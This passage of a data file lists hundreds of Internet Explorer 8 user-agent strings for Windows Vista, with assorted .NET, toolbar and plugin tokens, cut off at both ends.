InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; MEGAUPLOAD 3.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; FDM; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; InfoPath.2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnect Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.1.1.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; Dealio Toolbar 3.4; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Windows-Media-Player/10.00.00.3990; Zune 3.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Zune 3.0; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Zune 3.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.2; chromeframe/17.0.963.46; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET4.0C; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; AskTbORJ/5.14.1.20007) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 4.8.88265; WOW64; en-US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.7.31226; WOW64; en-US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.2; AskTbMYC-ST/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MathPlayer 2.10d; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Embedded Web Browser from: http://bsalsa.com/; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; AskTbMYC-ST/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; Zune 4.0; MS-RTC LM 8; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; OfficeLiveConnector Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Orange 8.0; GTB6.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Embedded Web Browser from: http://bsalsa.com/; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Q312461; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 1.7; GTB6.6; TencentTraveler 4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 590; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 590; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 627; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 627; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 627; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 1.1.4322; Tablet PC 2.0; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30428; .NET CLR 3.5.30729; Media Center PC 5.1; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; MS-RTC LM 8; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLivePatch.1.3; MS-RTC LM 8; OfficeLiveConnector.1.5; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 3.0.30729; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; MS-RTC LM 8; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Windows-Media-Player/10.00.00.3990; .NET CLR 3.5.30428; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; Zune 2.5; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; MEGAUPLOAD 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Tablet PC 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; Zune 3.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; MS-RTC LM 8; .NET4.0C; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; Sleipnir/2.9.9) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; FDM; .NET4.0C; .NET4.0E; chromeframe/11.0.696.57) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; InfoPath.1; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; 